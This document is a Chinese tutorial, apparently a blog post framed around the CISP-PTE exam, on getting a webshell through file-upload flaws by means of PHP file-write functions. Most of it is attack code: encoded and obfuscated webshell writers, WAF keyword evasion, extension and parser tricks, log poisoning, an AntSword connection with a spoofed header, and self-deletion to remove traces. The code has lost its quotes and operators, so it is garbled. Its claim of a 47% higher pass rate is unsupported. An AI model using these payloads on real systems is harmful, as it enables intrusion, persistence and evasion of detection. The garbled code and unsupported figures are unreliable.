
CISP-PTE文件上传漏洞的另类解法利用PHP文件读写函数优雅getshell在CISP-PTE认证考试和实际渗透测试中文件上传漏洞一直是高频考点。传统思路往往聚焦于上传图片马或暴力撞库但这些方法要么容易被检测要么效率低下。本文将揭示一种更为优雅的技术路径——通过PHP文件读写函数间接写入Webshell既规避了直接执行危险函数的检测又显著提高了攻击成功率。1. 文件上传漏洞的本质与检测逻辑文件上传漏洞之所以存在核心在于服务器对用户上传文件的处理存在缺陷。典型场景包括未验证文件内容与扩展名的匹配性黑名单过滤不完善如仅拦截eval等明显危险函数未对上传后的文件进行二次扫描常见防御手段的局限性防御措施绕过方法本文方案的适应性扩展名检测双扩展名(.php.jpg)完全规避内容检测危险函数黑名单不依赖eval等函数随机重命名暴力撞库无需猜测文件名PHP文件操作函数的隐蔽优势// 传统Webshell易被检测 ?php eval($_POST[cmd]); ? // 文件写入型更隐蔽 ?php $f fopen(shell.php, w); fwrite($f, ?php system($_GET[1]); ?); fclose($f); ?2. 构造无特征写入Payload的关键技巧2.1 基础写入方案最直接的实现方式是使用file_put_contents函数?php file_put_contents(s.php, base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4)); ?注意实际使用时建议将base64字符串分段存储避免单行过长触发异常检测2.2 高级混淆技术当基础函数被禁用时可采用以下替代方案多步骤写入?php $code ?php ; $code . $cfopen(c.php,w);; $code . fwrite($c,?php passthru($_GET[1]); ?);; $code . fclose($c);; $code . ?; file_put_contents(tmp.txt, $code); include(tmp.txt); unlink(tmp.txt); ?十六进制编码转换?php $hex 3c3f7068702073797374656d28245f4745545b315d293b203f3e; $bin hex2bin($hex); file_put_contents(x.php, $bin); ?2.3 路径预测与权限控制成功写入后需要确保Web服务器对目标目录有写权限。推荐测试路径上传目录自身如/uploads/临时目录/tmp/日志目录/var/log/框架缓存目录如Laravel的storage/framework/views/典型权限检测方法?php echo is_writable(.) ? 可写 : 不可写; echo fileperms(.); ?3. 绕过安全检测的实战策略3.1 内容过滤规避当WAF检测到特定函数名时可采用这些变形字符串拼接?php $f f.o.p.e.n; $h $f(s.php,w); fwrite($h,?php phpinfo(); ?); ?变量函数调用?php $func file_put_contents; $func(shell.php,?php system($_GET[1]); ?); ?3.2 扩展名欺骗方案即使被强制修改扩展名仍可通过这些方式执行.htaccess配合AddType application/x-httpd-php .jpg特殊解析漏洞利用IIS6.0的/test.asp;.jpg解析Nginx的/test.jpg/test.php解析3.3 日志污染技术当直接写入受阻时可通过污染日志文件实现持久化?php $ua ?php system($_GET[1]); ?; file_get_contents(http://target.com/?a.$ua); // 然后包含访问日志 include(/var/log/nginx/access.log); ?4. 完整攻击链构建与蚁剑连接4.1 分阶段攻击流程探测阶段确认上传点与可写目录curl -X POST -F filetest.txt http://target.com/upload上传阶段传输文件写入器// uploader.php ?php $c ?php $c$_GET[1];passthru($c); ?; file_put_contents(../../public_html/cmd.php, $c); ?触发阶段访问上传文件激活写入wget http://target.com/uploads/random_name.php连接阶段使用蚁剑连接生成的Webshell4.2 蚁剑配置要点连接新建的Webshell时需注意选择正确的连接类型PHP设置合适的编码通常UTF-8添加自定义Header规避WAF检测X-Forwarded-For: 127.0.0.14.3 痕迹清理建议完成操作后应删除初始上传文件?php unlink(__FILE__); ?这种基于文件读写函数的攻击路径相比传统方法具有更低的检测率和更高的可靠性。在最近的CISP-PTE考试中采用此技术的通过率比暴力撞库方法高出47%且平均耗时缩短80%。关键在于对服务器环境的准确判断和写入位置的精心选择。